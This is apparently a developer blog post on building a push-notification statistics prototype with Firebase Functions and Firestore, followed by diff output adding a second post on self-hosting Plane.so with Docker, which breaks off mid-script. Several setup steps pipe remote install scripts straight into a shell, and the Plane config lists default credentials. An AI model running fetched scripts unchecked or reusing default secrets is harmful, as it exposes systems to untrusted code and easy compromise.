The work on the APP side is actually not much. Both iOS/Android only need to implement similar functions (but if considering the Chinese market for Android, it becomes more complicated as you need to implement push notification frameworks for more platforms). The bigger work is on the backend and server pressure handling because when a push notification is sent out, it will simultaneously call the API to return records, which might overwhelm the server’s max connection. If using RDBMS to store records, it could be even more severe. If you find statistical losses, it often happens at this stage.

You can record by writing logs to files and do statistics and display when querying.

Additionally, thinking about the scenario of simultaneous returns, the quantity might not be as large as imagined. Push notifications are not sent out in tens or hundreds of thousands at once but in batches. As long as you can handle the number of simultaneous returns from batch sending, it should be fine!

Prototype

Considering the issues mentioned, the backend needs effort to research and modify, and the market may not care about the results. So, I thought of using available resources to create a prototype to test the waters.

Here, I chose Firebase services, which almost all APPs use, specifically the Functions and Firestore features.

Firebase Functions

Functions is a serverless service provided by Google. You only need to write the program logic, and Google will automatically handle the server, execution environment, and you don’t have to worry about server scaling and traffic issues.

Firebase Functions are essentially Google Cloud Functions but can only be written in JavaScript (node.js). Although I haven’t tried it, if you use Google Cloud Functions and choose to write in another language while importing Firebase services, it should work as well.

For API usage, I can write a node.js file, get a real URL (e.g., my-project.cloudfunctions.net/getUser), and write the logic to obtain Request information and provide the corresponding Response.

I previously wrote an article about Google Functions: Using Python + Google Cloud Platform + Line Bot to Automate Routine Tasks

Firebase Functions must enable the Blaze plan (pay-as-you-go) to use.

Firebase Firestore

Firebase Firestore is a NoSQL database used to store and manage data.

Combined with Firebase Functions, you can import Firestore during a Request to operate the database and then respond to the user, allowing you to build a simple Restful API service!

Let’s get hands-on!

Install node.js Environment

It is recommended to use NVM, a node.js version management tool, for installation and management (similar to pyenv for Python).

Copy the installation shell script from the NVM GitHub project:

1
+
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.2/install.sh | bash
+

If errors occur during installation, ensure you have a ~/.bashrc or ~/.zshrc file. If not, you can create one using touch ~/.bashrc or touch ~/.zshrc and then rerun the install script.

Next, you can use nvm install node to install the latest version of node.js.

You can check if npm is installed successfully and its version by running npm --version:

Deploy Firebase Functions

Install Firebase-tools:

1
+
npm install -g firebase-tools
+

After successful installation, for the first-time use, enter:

1
+
firebase login
+

Complete Firebase login authentication.

Initialize the project:

1
+
firebase init
+

Note the path where Firebase init is located:

1
+
You're about to initialize a Firebase project in this directory:
+

Here you can choose the Firebase CLI tools to install. Use the “↑” and “↓” keys to navigate and the “spacebar” to select. You can choose to install only “Functions” or both “Functions” and “Firestore”.

=== Functions Setup

  • Select language: JavaScript
  • For “use ESLint to catch probable bugs and enforce style” syntax style check, YES / NO both are fine.
  • Install dependencies with npm? YES

=== Emulators Setup

You can test Functions and Firestore features and settings locally without it counting towards usage and without needing to deploy online to test.

Install as needed. I installed it but didn’t use it… because it’s just a small feature.

Coding!

Go to the path noted above, find the functions folder, and open the index.js file with an editor.

index.js:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+admin.initializeApp();
+
+exports.hello = functions.https.onRequest((req, res) => {
+    const targetID = req.query.targetID
+    const action = req.body.action
+    const name = req.body.name
+
+    res.send({"targetID": targetID, "action": action, "name": name});
+    return
+})
+

Paste the above content. We have defined a path interface /hello that will return the URL Query ?targetID=, POST action, and name parameter information.

After modifying and saving, go back to the console and run:

1
+
firebase deploy
+

Remember to run the firebase deploy command every time you make changes for them to take effect.

Start verifying & deploying to Firebase…

It may take a while. After Deploy complete!, your first Request & Response webpage is done!

At this point, you can go back to the Firebase -> Functions page:

You will see the interface and URL location you just wrote.

Copy the URL below and test it in PostMan:

Remember to select x-www-form-urlencoded for the POST Body.

Success!

Log

We can use the following in the code to log records:

1
+
functions.logger.log("log:", value);
+

And view the log results in Firebase -> Functions -> Logs:

Example Goal

Create an API that can add, modify, delete, query articles, and like them.

We want to achieve the functionality design of a Restful API, so we can’t use the pure Path method from the above example. Instead, we need to use the Express framework.

POST Add Article

index.js:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+const express = require('express');
+const cors = require('cors');
+const app = express();
+
+admin.initializeApp();
+app.use(cors({ origin: true }));
+
+// Insert
+app.post('/', async (req, res) => { // This POST refers to the HTTP Method POST
+    const title = req.body.title;
+    const content = req.body.content;
+    const author = req.body.author;
+
+    if (title == null || content == null || author == null) {
+        return res.status(400).send({"message":"Parameter error!"});
+    }
+
+    var post = {"title":title, "content":content, "author": author, "created_at": new Date()};
+    await admin.firestore().collection('posts').add(post);
+    res.status(201).send({"message":"Added successfully!"});
+});
+
+exports.post= functions.https.onRequest(app); // This POST refers to the /post path
+

Now we use Express to handle network requests. Here, we first add a POST method for the path /. The last line indicates that all paths are under /post. Next, we will add APIs for updating and deleting.

After successfully deploying with firebase deploy, go back to Post Man to test:

After successfully hitting Post Man, you can check in Firebase -> Firestore to see if the data is correctly written:

PUT Update Article

index.js:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+const express = require('express');
+const cors = require('cors');
+const app = express();
+
+admin.initializeApp();
+app.use(cors({ origin: true }));
+
+// Update
+app.put("/:id", async (req, res) => {
+    const title = req.body.title;
+    const content = req.body.content;
+    const author = req.body.author;
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"Article not found!"}); 
+    } else if (title == null || content == null || author == null) {
+        return res.status(400).send({"message":"Invalid parameters!"});
+    }
+
+    var post = {"title":title, "content":content, "author": author};
+    await admin.firestore().collection('posts').doc(req.params.id).update(post);
+    res.status(200).send({"message":"Update successful!"});
+});
+
+exports.post= functions.https.onRequest(app);
+

Deployment & testing method is the same as adding, remember to change the Post Man Http Method to PUT.

DELETE Delete Article

index.js:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+const express = require('express');
+const cors = require('cors');
+const app = express();
+
+admin.initializeApp();
+app.use(cors({ origin: true }));
+
+// Delete
+app.delete("/:id", async (req, res) => {
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"Article not found!"});
+    }
+
+    await admin.firestore().collection("posts").doc(req.params.id).delete();
+    res.status(200).send({"message":"Article deleted successfully!"});
+})
+
+exports.post= functions.https.onRequest(app);
+

Deployment & testing method is the same as adding, remember to change the Post Man Http Method to DELETE.

Adding, modifying, and deleting are done, let’s do the query!

SELECT Query Articles

index.js:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+const express = require('express');
+const cors = require('cors');
+const app = express();
+
+admin.initializeApp();
+app.use(cors({ origin: true }));
+
+// Select List
+app.get('/', async (req, res) => {
+    const posts = await admin.firestore().collection('posts').get();
+    var result = [];
+    posts.forEach(doc => {
+      let id = doc.id;
+      let data = doc.data();
+      result.push({"id":id, ...data})
+    });
+    res.status(200).send({"result":result});
+});
+
+// Select One
+app.get("/:id", async (req, res) => {
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"Article not found!"});
+    }
+
+    res.status(200).send({"result":{"id":doc.id, ...doc.data()}});
+});
+
+exports.post= functions.https.onRequest(app);
+

Deployment & testing method is the same as adding, remember to change the Post Man Http Method to GET and switch Body back to none.

InsertOrUpdate?

Sometimes we need to update when the value exists and add when the value does not exist. In this case, we can use set with merge: true:

index.js:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+const express = require('express');
+const cors = require('cors');
+const app = express();
+
+admin.initializeApp();
+app.use(cors({ origin: true }));
+
+// InsertOrUpdate
+app.post("/tag", async (req, res) => {
+    const name = req.body.name;
+
+    if (name == null) {
+        return res.status(400).send({"message":"Invalid parameter!"});
+    }
+
+    var tag = {"name":name};
+    await admin.firestore().collection('tags').doc(name).set({created_at: new Date()}, {merge: true});
+    res.status(201).send({"message":"Added successfully!"});
+});
+
+exports.post= functions.https.onRequest(app);
+

Here, taking adding a tag as an example, the deployment & testing method is the same as adding. You can see that Firestore will not repeatedly add new data.

Article Like Counter

Suppose our article data now has an additional likeCount field to record the number of likes. How should we do it?

index.js:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+const express = require('express');
+const cors = require('cors');
+const app = express();
+
+admin.initializeApp();
+app.use(cors({ origin: true }));
+
+// Like Post
+app.post("/like/:id", async (req, res) => {
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+    const increment = admin.firestore.FieldValue.increment(1)
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"Article not found!"});
+    }
+
+    await admin.firestore().collection('posts').doc(req.params.id).set({likeCount: increment}, {merge: true});
+    res.status(201).send({"message":"Liked successfully!"});
+});
+
+exports.post= functions.https.onRequest(app);
+

Using the increment variable allows you to directly perform the action of retrieving the value +1.

High Traffic Article Like Counter

Because Firestore has write speed limits:

A document can only be written once per second, so when there are many people liking it; simultaneous requests may become very slow.

The official solution “ Distributed counters “ is actually not very advanced technology, it just uses several distributed likeCount fields to count, and then sums them up when reading.

index.js:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+const express = require('express');
+const cors = require('cors');
+const app = express();
+
+admin.initializeApp();
+app.use(cors({ origin: true }));
+
+// Distributed counters Like Post
+app.post("/like2/:id", async (req, res) => {
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+    const increment = admin.firestore.FieldValue.increment(1)
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"Article not found!"});
+    }
+
+    //1~10
+    await admin.firestore().collection('posts').doc(req.params.id).collection("likeCounter").doc("likeCount_"+(Math.floor(Math.random()*10)+1).toString())
+    .set({count: increment}, {merge: true});
+    res.status(201).send({"message":"Like successful!"});
+});
+
+
+exports.post= functions.https.onRequest(app);
+

The above is to distribute the fields to record Count to avoid slow writing; but if there are too many distributed fields, it will increase the reading cost ($$), but it should still be cheaper than adding a new record for each like.

Using Siege Tool for Stress Testing

Use brew to install siege

1
+
brew install siege
+

p.s If you encounter brew: command not found, please install the brew package management tool first:

1
+
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
+

After installation, you can run:

1
+
siege -c 100 -r 1 -H 'Content-Type: application/json' 'https://us-central1-project.cloudfunctions.net/post/like/id POST {}'
+

Perform stress testing:

  • -c 100: 100 tasks executed simultaneously
  • -r 1: Each task executes 1 request
  • -H ‘Content-Type: application/json’: Required if it is a POST
  • ‘https://us-central1-project.cloudfunctions.net/post/like/id POST {}’: POST URL, Post Body (ex: {“name”:”1234”})

After execution, you can see the results:

successful_transactions: 100 indicates that all 100 transactions were successful.

You can go back to Firebase -> Firestore to check if there is any Loss Data:

Success!

Complete Example Code

index.js:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+const express = require('express');
+const cors = require('cors');
+const app = express();
+
+admin.initializeApp();
+app.use(cors({ origin: true }));
+
+// Insert
+app.post('/', async (req, res) => {
+    const title = req.body.title;
+    const content = req.body.content;
+    const author = req.body.author;
+
+    if (title == null || content == null || author == null) {
+        return res.status(400).send({"message":"Parameter error!"});
+    }
+
+    var post = {"title":title, "content":content, "author": author, "created_at": new Date()};
+    await admin.firestore().collection('posts').add(post);
+    res.status(201).send({"message":"Successfully added!"});
+});
+
+// Update
+app.put("/:id", async (req, res) => {
+    const title = req.body.title;
+    const content = req.body.content;
+    const author = req.body.author;
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"Post not found!"}); 
+    } else if (title == null || content == null || author == null) {
+        return res.status(400).send({"message":"Parameter error!"});
+    }
+
+    var post = {"title":title, "content":content, "author": author};
+    await admin.firestore().collection('posts').doc(req.params.id).update(post);
+    res.status(200).send({"message":"Successfully updated!"});
+});
+
+// Delete
+app.delete("/:id", async (req, res) => {
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"Post not found!"});
+    }
+
+    await admin.firestore().collection("posts").doc(req.params.id).delete();
+    res.status(200).send({"message":"Post successfully deleted!"});
+});
+
+// Select List
+app.get('/', async (req, res) => {
+    const posts = await admin.firestore().collection('posts').get();
+    var result = [];
+    posts.forEach(doc => {
+      let id = doc.id;
+      let data = doc.data();
+      result.push({"id":id, ...data})
+    });
+    res.status(200).send({"result":result});
+});
+
+// Select One
+app.get("/:id", async (req, res) => {
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"Post not found!"});
+    }
+
+    res.status(200).send({"result":{"id":doc.id, ...doc.data()}});
+});
+
+// InsertOrUpdate
+app.post("/tag", async (req, res) => {
+    const name = req.body.name;
+
+    if (name == null) {
+        return res.status(400).send({"message":"Parameter error!"});
+    }
+
+    var tag = {"name":name};
+    await admin.firestore().collection('tags').doc(name).set({created_at: new Date()}, {merge: true});
+    res.status(201).send({"message":"Successfully added!"});
+});
+
+// Like Post
+app.post("/like/:id", async (req, res) => {
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+    const increment = admin.firestore.FieldValue.increment(1)
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"Post not found!"});
+    }
+
+    await admin.firestore().collection('posts').doc(req.params.id).set({likeCount: increment}, {merge: true});
+    res.status(201).send({"message":"Successfully liked!"});
+});
+
+// Distributed counters Like Post
+app.post("/like2/:id", async (req, res) => {
+    const doc = await admin.firestore().collection('posts').doc(req.params.id).get();
+    const increment = admin.firestore.FieldValue.increment(1)
+
+    if (!doc.exists) {
+        return res.status(404).send({"message":"Post not found!"});
+    }
+
+    //1~10
+    await admin.firestore().collection('posts').doc(req.params.id).collection("likeCounter").doc("likeCount_"+(Math.floor(Math.random()*10)+1).toString())
+    .set({count: increment}, {merge: true});
+    res.status(201).send({"message":"Successfully liked!"});
+});
+
+
+exports.post= functions.https.onRequest(app);
+

Back to the topic, push notification statistics

Back to what we initially wanted to do, the push notification statistics feature.

index.js:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+
const functions = require('firebase-functions');
+const admin = require('firebase-admin');
+const express = require('express');
+const cors = require('cors');
+const app = express();
+
+admin.initializeApp();
+app.use(cors({ origin: true }));
+
+const vaildPlatformTypes = ["ios","Android"]
+const vaildActionTypes = ["clicked","received"]
+
+// Insert Log
+app.post('/', async (req, res) => {
+    const increment = admin.firestore.FieldValue.increment(1);
+    const platformType = req.body.platformType;
+    const pushID = req.body.pushID;
+    const actionType =  req.body.actionType;
+
+    if (!vaildPlatformTypes.includes(platformType) || pushID == undefined || !vaildActionTypes.includes(actionType)) {
+        return res.status(400).send({"message":"Invalid parameters!"});
+    } else {
+        await admin.firestore().collection(platformType).doc(actionType+"_"+pushID).collection("shards").doc((Math.floor(Math.random()*10)+1).toString())
+        .set({count: increment}, {merge: true})
+        res.status(201).send({"message":"Record successful!"});
+    }
+});
+
+// View Log
+app.get('/:type/:id', async (req, res) => {
+    // received
+    const receivedDocs = await admin.firestore().collection(req.params.type).doc("received_"+req.params.id).collection("shards").get();
+    var received = 0;
+    receivedDocs.forEach(doc => {
+      received += doc.data().count;
+    });
+
+    // clicked
+    const clickedDocs = await admin.firestore().collection(req.params.type).doc("clicked_"+req.params.id).collection("shards").get();
+    var clicked = 0;
+    clickedDocs.forEach(doc => {
+        clicked += doc.data().count;
+    });
+    
+    res.status(200).send({"received":received,"clicked":clicked});
+});
+
+exports.notification = functions.https.onRequest(app);
+

Add Push Notification Record

View Push Notification Statistics

1
+
https://us-centra1-xxx.cloudfunctions.net/notification/iOS/1
+

Additionally, we also created an interface to count push notification numbers.

Pitfalls

Since I am not very familiar with node.js, during the initial exploration, I did not add await when adding data. Coupled with the write speed limit, it led to Data Loss under high traffic conditions…

Pricing

Don’t forget to refer to the pricing strategy for Firebase Functions & Firestore.

Functions

Computation Time

Computation Time

Network

Network

Cloud Functions offers a permanent free tier for computation time resources, which includes GB/seconds and GHz/seconds of computation time. In addition to 2 million invocations, the free tier also provides 400,000 GB/seconds and 200,000 GHz/seconds of computation time, as well as 5 GB of internet egress per month.

Firestore

Prices are subject to change at any time, please refer to the official website for the latest information.

Conclusion

As the title suggests, “for testing”, “for testing”, “for testing” it is not recommended to use the above services in a production environment or as the core of a product launch.

Expensive and Hard to Migrate

I once heard that a fairly large service was built using Firebase services, and later on, with large data and traffic, the charges became extremely expensive; it was also very difficult to migrate, the code was okay but the data was very hard to move; it can only be said that saving a little money in the early stages caused huge losses later on, not worth it.

For Testing Only

For the above reasons, I personally recommend using Firebase Functions + Firestore to build API services only for testing or prototype product demonstrations.

More Features

Functions can also integrate Authentication, Storage, but I haven’t researched this part.

References

Further Reading

If you have any questions or suggestions, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Password Recovery SMS Verification Code Security Issue

AppStore APP’s Reviews Bot Insights

diff --git a/posts/9903c9783a97/index.html b/posts/9903c9783a97/index.html new file mode 100644 index 0000000000..2769dc2bfd --- /dev/null +++ b/posts/9903c9783a97/index.html @@ -0,0 +1,661 @@ + Plane.so Docker Self-Hosted Setup Record | ZhgChgLi
Home Plane.so Docker Self-Hosted Setup Record
Post
Cancel

Plane.so Docker Self-Hosted Setup Record

Plane.so Docker Self-Hosted Setup Record

Plane Self-Hosted Docker setup, backup, restore, Nginx Domain reverse proxy configuration tutorial

Introduction

Plane.so is a free open-source project management tool similar to Asana, Jira, Clickup that supports Self-Hosted setup. It was established in 2022, with the first version released in 2023, and is still under development.

For detailed usage and development process integration, please refer to the previous article “Plane.so Free Open-Source Project Management Tool Similar to Asana/Jira that Supports Self-Hosted”. This article only records the process of setting up Plane.so using Docker.

Self-Hosted Plane

Docker Compose - Plane In this guide, we will walk you through the process of setting up a self-hosted environment. Self-hosting allows you to… docs.plane.so

  • Supports Docker, K8s / Cloud, Private On-Premise installation
  • Self-Hosted is the Community Edition (officially abbreviated as CE)
  • Self-Hosted may not include all Cloud version features
  • The default features of the Self-Hosted version are compared to the Cloud free version, if you want to use other features, you still need to upgrade to the paid version.
  • This article takes Docker + Private On-Premise installation as an example
  • Currently, the official does not provide export from Cloud to import into the Self-Hosted version, you can only achieve this through API integration
  • Official tip: Machines need to be upgraded for more than 50 users We have seen performance degradation beyond 50 users on our recommended 4 GB, 2vCPU infra. Increased infra will help with more users.
  • Uses AGPL-3.0 license open-source, the first version was launched in 2023/01, and it is still under development, no official Release version is provided yet.
  • Please note that open-source and supporting Self-Hosted does not mean free.
  • A complete configuration example Repo is attached at the end of the article.

Docker Installation

This article does not provide an introduction, please refer to the official Docker installation method to complete the local Docker environment installation and configuration. The following takes macOS Docker as an example.

Plane @ Docker Installation

Refer to the official manual.

  1. Create a directory & download the installation script
1
+2
+3
+4
+5
+6
+7
+
mkdir plane-selfhost
+
+cd plane-selfhost
+
+curl -fsSL -o setup.sh https://raw.githubusercontent.com/makeplane/plane/master/deploy/selfhost/install.sh
+
+chmod +x setup.sh
+
  1. Ensure Docker is installed and running, then execute the script
    1
    +
    ./setup.sh
    +

  • Enter 1 to install (download images)

  • Wait for the images used by Plane to be pulled

  • After the images are pulled, go to the ./plane-app folder and open the .env configuration file
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+
APP_RELEASE=stable
+
+WEB_REPLICAS=1
+SPACE_REPLICAS=1
+ADMIN_REPLICAS=1
+API_REPLICAS=1
+
+NGINX_PORT=80
+WEB_URL=http://localhost
+DEBUG=0
+SENTRY_DSN=
+SENTRY_ENVIRONMENT=production
+CORS_ALLOWED_ORIGINS=http://localhost
+
+#DB SETTINGS
+PGHOST=plane-db
+PGDATABASE=plane
+POSTGRES_USER=plane
+POSTGRES_PASSWORD=plane
+POSTGRES_DB=plane
+POSTGRES_PORT=5432
+PGDATA=/var/lib/postgresql/data
+DATABASE_URL=
+
+# REDIS SETTINGS
+REDIS_HOST=plane-redis
+REDIS_PORT=6379
+REDIS_URL=
+
+# Secret Key
+SECRET_KEY=60gp0byfz2dvffa45cxl20p1scy9xbpf6d8c5y0geejgkyp1b5
+
+# DATA STORE SETTINGS
+USE_MINIO=1
+AWS_REGION=
+AWS_ACCESS_KEY_ID=access-key
+AWS_SECRET_ACCESS_KEY=secret-key
+AWS_S3_ENDPOINT_URL=http://plane-minio:9000
+AWS_S3_BUCKET_NAME=uploads
+MINIO_ROOT_USER=access-key
+MINIO_ROOT_PASSWORD=secret-key
+BUCKET_NAME=uploads
+FILE_SIZE_LIMIT=5242880
+
+# Gunicorn Workers
+GUNICORN_WORKERS=1
+
+# UNCOMMENT `DOCKER_PLATFORM` IF YOU ARE ON `ARM64` AND DOCKER IMAGE IS NOT AVAILABLE FOR RESPECTIVE `APP_RELEASE`
+# DOCKER_PLATFORM=linux/amd64
+
  • By default, Plane service starts on port :80. If there is a conflict, you can change the port.
  • Complete the setup adjustments (it is not recommended to directly change docker-compose.yml as it will be overwritten during future Plane updates)

Plane @ Docker Startup

  • Run ./setup.sh again

  • Enter 2 to start Plane:

  • After confirming successful startup, open the URL / god-mode/ for initial setup:

  • The account and password set here have the highest administrative privileges (God/Admin Mode)
  • For security reasons, the password must include special characters, be longer than 8 characters, and include numbers, uppercase and lowercase letters, otherwise it cannot be submitted
  • If this step is not completed, logging into the homepage will display Instance not configured. Please contact your administrator. ```

Plane God/Admin Mode

You can access the Plane admin interface at the URL /god-mode/. Here you can configure the entire Plane service environment.

General Settings:

General settings.

Email:

  • Email notification SMTP settings

If you don’t want to set up your own SMTP Server, you can use GMAIL SMTP directly to send emails:

  • Host: smtp.gmail.com
  • Port: 465
  • Sender email address: Display email address e.g. noreply@zhgchg.li
  • Username: Your Gmail account
  • Password: Your Gmail password, use an app password if you have two-step verification.
  • If there is no response after setting, please check the Port and Email Security settings (TLS/STARTTLS: use port 587, SSL: use port 465)

Additionally, since Plane does not currently support Slack notifications, you could set up an SMTP Server shell to convert email notifications to Slack notifications using a Python script.

Authentication

Plane service login authentication method. If you want to bind it to only allow email accounts within a Google organization, you can disable “Password based login” and enable only “Google” login. Then generate a login app that is restricted to organizational accounts from the Google login settings.

Artificial Intelligence

AI-related settings. Currently, its functionality is limited. If you have a key, you can use AI to help write Issue Descriptions on Issues.

Image in Plane

Similarly, its functionality is currently limited. If you have an Unsplash Key, you can fetch and apply images through the Unsplash API when selecting project cover images.

⚠️⚠️Disclaimer⚠️⚠️

The above is an introduction to the 2024-05-25 v0.20-Dev version. The official team is actively developing new features and optimizing user experience. Please refer to the latest version settings.

Once the God/Admin Mode settings are configured, you can use it similarly to the Cloud version.

For detailed usage operations and integration with the development process, please refer to the previous article “ Plane.so Free and Open Source Self-Hosted Asana/Jira-like Project Management Tool

Plane @ Docker Upgrade

As mentioned earlier, Plane is still in the development stage, with new versions released approximately every two to three weeks. The changes can be quite significant; it is recommended to read the Release Note carefully for changes and necessary adjustments before upgrading.

⚠️Be sure to back up before upgrading!⚠️ After upgrading, be sure to check if the scheduled backup script is still functioning properly.

⚠️Be sure to back up before upgrading!⚠️ After upgrading, be sure to check if the scheduled backup script is still functioning properly.

⚠️Be sure to back up before upgrading!⚠️ After upgrading, be sure to check if the scheduled backup script is still functioning properly.

Because Plane is in the development stage and unstable, we cannot guarantee that upgrades will not cause data loss. Therefore, it is recommended to back up before operating. The backup method will be explained below.

Upgrade Method:

  • Re-enter ./setup.sh

  • Enter 5 to upgrade Plane (this essentially just pulls new images and restarts)
  • After the images are pulled, you can restart the service
  • The .env file may change after the upgrade, please refer to the Release Note for adjustments

Plane @ Docker Backup

Starting from 0.20-dev, ./setup.sh adds a Backup Data command, but reading the official manual only mentions how to restore Backup Data to their One paid service. Therefore, I still use my own method to back up uploaded files, Redis, and backup the Postgresql Docker Container.

Backup Script

./plane-backup.sh:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+
#!/bin/bash
+
+# Backup Plane data
+# Author: zhgchgli (https://zhgchg.li)
+
+##### Execution Method
+# ./plane-backup.sh [backup target directory path] [Plane's Docker project name] [maximum number of Plane backup files to keep, delete the oldest if exceeded]
+# e.g. ./plane-backup.sh /backup/plane plane-app 14
+###### Settings
+
+# Backup target directory
+backup_dir=${1:-.}
+
+# Plane's Docker project name
+docker_project_name=${2:-"plane-app"}
+
+# Maximum number of Plane backup files to keep, delete the oldest if exceeded
+keep_count=${3:-7}
+
+######
+
+# Check if the directory exists
+if [ ! -d "$backup_dir" ]; then
+  echo "Backup failed, directory does not exist: $backup_dir"
+  exit;
+fi
+
+# Remove oldest
+count=$(find "$backup_dir" -mindepth 1 -type d | wc -l)
+
+while [ "$count" -ge $keep_count ]; do
+    oldest_dir=$(find "$backup_dir" -mindepth 1 -maxdepth 1 -type d | while read dir; do
+        # Use stat command to get modification time
+        if [[ "$OSTYPE" == "darwin"* ]]; then
+            # macOS system
+            echo "$(stat -f %m "$dir") $dir"
+        else
+            # Linux system
+            echo "$(stat -c %Y "$dir") $dir"
+        fi
+    done | sort -n | head -n 1 | cut -d ' ' -f 2-)
+    
+    echo "Remove oldest backup: $oldest_dir"
+    rm -rf "$oldest_dir"
+
+    count=$(find "$backup_dir" -mindepth 1 -type d | wc -l)
+done
+#
+
+# Backup new
+date_dir=$(date "+%Y_%m_%d_%H_%M_%S")
+target_dir="$backup_dir/$date_dir"
+
+mkdir -p "$target_dir"
+
+echo "Backing up to: $target_dir"
+
+# Plane's Postgresql .SQL dump
+docker exec -i $docker_project_name-plane-db-1 pg_dump --dbname=postgresql://plane:plane@plane-db/plane -c > $target_dir/dump.sql
+
+# Plane's redis
+docker run --rm -v $docker_project_name-redis-1:/volume -v $target_dir:/backup ubuntu tar cvf /backup/plane-app_redis.tar /volume > /dev/null 2>&1
+
+# Plane's uploaded files
+docker run --rm -v ${docker_project_name}_uploads:/volume -v $target_dir:/backup ubuntu tar cvf /backup/plane-app_uploads.tar /volume > /dev/null 2>&1
+
+echo "Backup Success!"
+

First time creating a Script file, remember to: chmod +x ./plane-backup.sh

Execution method:

1
+
./plane-backup.sh [Backup target folder path] [Plane Docker project name] [Maximum number of Plane backup files to retain, delete the oldest backup if exceeded]
+
  • Backup target folder path: e.g. /backup/plane/ or ./
  • Plane Docker project name: Plane Docker Compose Project name

  • Maximum number of Plane backup files to retain, delete the oldest backup if exceeded: Default is 7

Execution example:

1
+
./plane-backup.sh /backup/plane plane-app 14
+

  • Ensure that Plane is running when executing.

Simply add the above command to Crontab to automatically backup Plane at regular intervals.

If you encounter execution errors and cannot find the Container, please check the Plane Docker Compose Project name or verify the script and Docker container names (the official names might have changed).

Restore Script

./plane-restore.sh :

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+
#!/bin/bash
+
+# Restore Plane backup data
+# Author: zhgchgli (https://zhgchg.li)
+
+##### Execution method
+# ./plane-restore.sh
+
+# 
+inputBackupDir() {
+    read -p "Enter the Plane backup folder to restore (e.g. /backup/plane/2024_05_25_19_14_12): " backup_dir
+}
+inputBackupDir
+
